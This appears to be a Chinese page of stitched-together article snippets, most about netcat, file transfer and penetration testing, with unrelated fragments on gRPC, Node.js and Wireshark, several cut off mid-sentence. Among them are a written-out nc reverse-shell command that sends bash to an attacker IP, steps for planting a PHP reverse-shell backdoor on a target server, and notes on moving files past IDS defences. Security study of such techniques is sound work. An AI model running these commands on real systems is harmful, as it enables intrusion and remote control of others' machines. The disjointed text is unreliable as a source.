文件传输是日常运维中最常见的操作，在linux系统和win/mac系统之间传输文件，我们最常用的，应该是lrzsz工具，通过rz(上传)/sz(下载)，对于平常的小文件传输实在是太方便了
我们常常会面临服务器和本地机器之间的文件传输，通常情况下，lszrz命令是可以完全应付的。但是当文件过大的时候，例如前段时间需要传输一个1.7G的堆dump文件到本地，就让我犯了难，sz命令直接卡死，根本下载不下来，这个时候nc就派上了用场。
由于有时Linux服务器可能网络等等其它原因没法通过rsync 或者scp的方式传输文件，那有没有更简洁的方式来进行文件传输呢
在 GNU/Linux 中的两个系统之间通过网络快速传输大文件 确保你在系统上安装了netcat和pv应用程序。如果尚未安装它们，你可以如下所示安装它们。大多数 Linux 系统默认提供tar包，不必额外安装。 在 Arch Linux 及其衍生产品上： $ sudo pacman -S netcat pv 在 RHEL、CentOS、Fedora 上： $ sudo yum install epel-release $ sudo yum install nc pv 或 $ sudo dnf inst
在红队渗透测试当中往往需要最大化利用当前的环境绕过重兵防守的系统的防火墙，IDS，IPS等报警和监控系统进行文件传输，本文列出了多种利用操作系统默认自带的工具进行文件传输的方法。
《Linux环境监控工具基础参考》提到了Linux监控工具，其实Linux有很多好用的小工具，不仅限监控，例如文件传输。这篇【爱可生开源社区】出品的文章《技术分享 | 你通常选用什么工具在Linux中进行数据传输？》就介绍了几种常用的文件传输工具之间的效率比对，可以针对不同的场景，选择合适的工具。
Wget支持HTTP，HTTPS，FTP协议进行文件下载。例如使用靶机下载hash.exe:
Netcat 常称为 nc，拥有“瑞士军刀”的美誉。nc 小巧强悍，可以读写TCP或UDP网络连接，它被设计成一个可靠的后端工具，能被其它的程序或脚本直接驱动。同时，它又是一个功能丰富的网络调试和开发工具，因为它可以建立你可能用到的几乎任何类型的连接，以及一些非常有意思的内建功能，它基于socket协议工作。在渗透测试领域，我们通常利用它来反弹shell。
爱可生交付服务团队北京 DBA，对数据库及周边技术有浓厚的学习兴趣，喜欢看书，追求技术。
前几天跟客户聊天，抱怨服务器之前的数据传输工具不好用，问我哪种传输工具效率高？还真被问住了，毕竟没经过实践嘛，今天就测试下。
Netcat被成为TCP/IP中的瑞士军刀，几乎可以完成网络操作中的任何操作。Nmap团队开发了Ncat作为Netcat的升级版，因为Netcat的作者在96年发布稳定版以后就放弃维护了。
该操作在vm虚拟机中完成，提前安装了Windows7、kali linux、Windows server2008。
在gRPC中，可以通过将文件分割成多个小块，然后使用流式RPC将这些小块发送到服务器来传输文件。以下是一个简单的示例，展示了如何在gRPC中实现文件传输。
用途：网络管理工具。 可以读，写TCP或UDP 网络连接。简写为：nc 常见参数： -h 帮助信息 -l 坚挺模式 -n 指定IP地址 -p 指定端口号 -v 详细输出 1 客户端：很容易建立一个客户端/服务器模式。 eg：$nc -l 1234 nc现在监听1234端口等待连接。 $ nc 127.0.0.1 1234 两个端口之间建立连接。连接后，两台机器之间可以进行对话 2 数据传输 nc -l 1234 > filename.out //监听本机的1234端口，等待文件传输，保存成文件：fil
前面介绍过一个不可不知的网络命令-netstat，今天来介绍这个网络工具界的“瑞士军刀”-nc（netcat），它短小精悍，是网络调试利器，它到底有何能耐呢？
小助手今天说的这个工具，是Linux下网络探测必备，在故障排查，远程连接中，简单方便，配上管道符操作，可以组装成强大的功能。
渗透测试过程中会用到一些系统shell工具，有几只长得很像，分别是netcat(nc), nmap-cat(ncat), socat, powercat. 都是跟“猫”相关的，这几只“猫”上得了庭堂，下得了厨房，不对，是上可卖萌，下可贩贱，最近汇总了下这几只“猫”的用法，分享如下。
今天看了下《Linux大棚命令百篇》网络和系统篇，发现了几个很不错的命令，我是看着目录然后根据自己的需要选了3个命令，没想到3个命令都让人眼前一亮，刷新了我原本的认知。 首先第一个命令还是老生常谈的ping 传统的ping就是下面的样子，这个也是我们熟悉的ping # ping 10.127.133.96 PING 10.127.133.96 (10.127.133.96) 56(84) bytes of data. 64 bytes from 10.127.133.96: icmp_seq=1 ttl=
Netcat 是一种跨网络连接读写数据的工具，使用 TCP 或 UDP 协议。Netcat 被称为 TCP/IP/网络瑞士军刀。在本文中，将介绍netcat 的不同应用变种，以及它如何在渗透测试人员、安全专家、系统管理员等的日常活动中发挥作用……
NETCAT被人们称为网络工具中的瑞士军刀，体积小但功能强大。它能通过TCP和UDP在网络中读写数据，在两台电脑之间建立链接并返回两个数据流。
Netcat 号称 TCP/IP 的瑞士军刀并非浪得虚名，以体积小（可执行 200KB）功能灵活而著称，在各大发行版中都默认安装，你可以用它来做很多网络相关的工作，熟练使用它可以不依靠其他工具做一些很有用的事情。
Netcat is a featured networking utility which reads and writes data across network connections, using the TCP/IP protocol. It is designed to be a reliable "back-end" tool that can be used directly or easily driven by other programs and scripts. At the same time, it is a feature-rich network debugging and exploration tool, since it can create almost any kind of connection you would need and has several interesting built-in capabilities.
*本文原创作者：novsec，本文属FreeBuf原创奖励计划，未经许可禁止转载 DNS Tunneling，是隐蔽信道的一种，通过将其他协议封装在DNS协议中传输建立通信。 因为在我们的网络世界中D
在这篇文章中，我们将深入探讨文件传输的艺术。我们将介绍如何将文件从攻击者计算机传输到受害者 Windows 10 主机（下载），以及如何从受害者 Windows 10 主机传输回攻击者计算机（上传）的各种技术。
官方文档：https://mariadb.com/kb/en/lib... 步骤：
端口扫描 [root@h102 ~]# nc -zvn 192.168.100.101 20-25 nc: connect to 192.168.100.101 port 20 (tcp) failed: No route to host nc: connect to 192.168.100.101 port 21 (tcp) failed: No route to host Connection to 192.168.100.101 22 port [tcp/*] succeeded! nc: conn
netcat是一个用于TCP/UDP连接和监听的linux工具， 主要用于网络传输及调试领域。
Ncat is a feature-packed networking utility which reads and writes data across networks from the command line. Ncat was written for the Nmap Project and is the culmination of the currently splintered family of Netcat incarnations. It is designed to be a reliable back-end tool to instantly provide network connectivity to other applications and users. Ncat will not only work with IPv4 and IPv6 but provides the user with a virtually limitless number of potential uses.
netcat也就是平时用的nc，是一种功能丰富的网络调试和调查工具，它可以产生用户可能需要的几乎任何类型的连接，可以连接到远程主机nc -nvv Targert_IP Targert_Port，监听本地主机nc -l -p Local_Port，端口扫描nc -v target_IP target_Port、端口监听nc -l -p local_Port、远程文件传输nc Targert_IP Targert_Port < Targert_File、正向shell、反向shell等等。
这里以反弹shell为案例，讲解检测方法手段，假设在内网后渗透阶段，当攻击者获取到管理权限，为了进一步扩大攻击范围在进行横向渗透时，通常会使用到反弹shell的方法获取主机权限，针对反弹shell这种攻击方法，可以根据反弹shell的特征去识别检测，反弹shell传输的数据是以明文方式进行传输的，很容易使用流量分析检测到，对流量特征进行溯源分析检测其带入的攻击特征，即可复现到过程。
有时需要测试网速，但是在开始使用文件传输工具来测量之前，请考虑一下，你实际测量的是什么？
apt-get -y install netcat-traditionalupdate-alternatives --config nc nc文件传输接受端：nc -lp 333 > 1.exe发送端：nc -vn 172.18.13.90 333 < 4.1.exe -q 1nc简易聊天A:nc -l -p 888B:nc -vn 172.18.13.90 888nc反向shell：目标机：nc 172.18.13.90 9999 -e /usr/bin/bash攻击机：nc -lvp 9999pytho
编辑php反弹shell后门，vi /usr/share/webshells/php/php-reverse-shell.php，修改 ip 和 port 为控制端的地址和端口 将 php-reverse-shell.php 文件上传至目标服务器中，通过浏览器触发 php-reverse-shell.php 文件路径，在nc终端中的到反弹shell
服务器端口测试是否正常，运维一般使用telnet来检查，但它有局限性，服务器的端口必须存在服务运行。 这时使用nc可以在服务端模拟开启一个端口，再通过nc测试此端口，好用！ nc是netcat工具的简称，一个网络工具，可以用来端口扫描、文件传输等功能。 centos上面安装也很简单：
之前盛传的价值过亿的AI机器人核心代码被我偷学了一番，遂下定决心盗取其精华，正好在此借助Nodejs给大家展示一番。
在渗透过程中，通常会需要向目标主机传送一些文件，来达到权限提升、权限维持等目的，本篇文章主要介绍一些windows和Linux下常用的文件下载方式。
Netcat能做到的事情太多了，但和tcpdump一个流派，参数多的令人发指，拣常用的几个命令记录一下 场景 Server A: 192.168.100.100 Server B: 192.168.100.101 端口扫描 1 nc -z -v -n 192.168.100.100 21-25 可以运行在TCP或者UDP模式，默认是TCP，-u参数调整为udp. z 参数告诉Netcat使用Zero IO,指的是一旦连接关闭，不进行数据交换 v 参数指使用冗余选项 n 参数告诉Netcat 不要使用DNS
nc（netcat）是一个短小精悍、功能实用、简单可靠的网络工具，主要有如下作用： （1）端口侦听，nc 可以作为 server 以 TCP 或 UDP 方式侦听指定端口； （2）端口扫描，nc 可以作为 client 发起 TCP 或 UDP 请求； （3）机器之间传输文件； （4）机器之间网络测速。
本公众号提供的工具、教程、学习路线、精品文章均为原创或互联网收集，旨在提高网络安全技术水平为目的，只做技术研究，谨遵守国家相关法律法规，请勿用于违法用途，如果您对文章内容有疑问，可以尝试加入交流群讨论或留言私信，如有侵权请联系小编处理。
在存在ssrf处访问http://10.1.1.200(本机服务地址) 查看kali机器服务器日志信息：
netcat是网络工具中的瑞士军刀，它能通过TCP和UDP在网络中读写数据。通过与其他工具结合和重定向，你可以在脚本中以多种方式使用它。使用netcat命令所能完成的事情令人惊讶。 netcat所做的就是在两台电脑之间建立链接并返回两个数据流，在这之后所能做的事就看你的想像力了。你能建立一个服务器，传输文件，与朋友聊天，传输流媒体或者用它作为其它协议的独立客户端。 下面是一些使用netcat的例子. [A(172.31.100.7) B(172.31.100.23)]
在数据包的分析中离不开的工具就是wireshark, 这里整理一下重要的几个功能：
kali作为一个渗透测试者最受欢迎的操作系统，集成了非常多的安全工具，让渗透测试人员更方便的做一些渗透测试工作，本文来自国外某位大神的github，在这里给大家做一个分享，具体内容如下：
网络上的文件传输功能也是很有必要实现一下的，网络传输文件的过程通常分为客户端和服务器端两部分。客户端可以选择上传或下载文件，将文件分块并逐块发送到服务器，或者从服务器分块地接收文件。服务器端接收来自客户端的请求，根据请求类型执行对应的操作，并根据发送的文件名或其他标识来确定要传输的文件。
版权声明：License CC BY-NC-SA 4.0 / 自豪地采用谷歌翻译 https://blog.csdn.net/wizardforcel/article/details/89355336
Linux上的命令非常多，为了掌握它，很多同学耗尽了自己的脑细胞，憔悴了自己的容颜，结果记忆了一大堆垃圾命令，用过之后就忘了哈哈。
ncat 是为 Nmap（Network Mapper）项目编写的，是 Nmap 套件中的一员，它旨在成为可靠的后端工具，可立即为其他应用程序和用户提供网络连接。ncat 不仅可以使用 IPv4 和 IPv6，还可以为用户提供几乎无限的潜在用途。
靶机地址：https://www.vulnhub.com/entry/goldeneye-1,240/
领取专属 10元无门槛券
手把手带您无忧上云
云服务器
ICP备案
对象存储
即时通信 IM
实时音视频
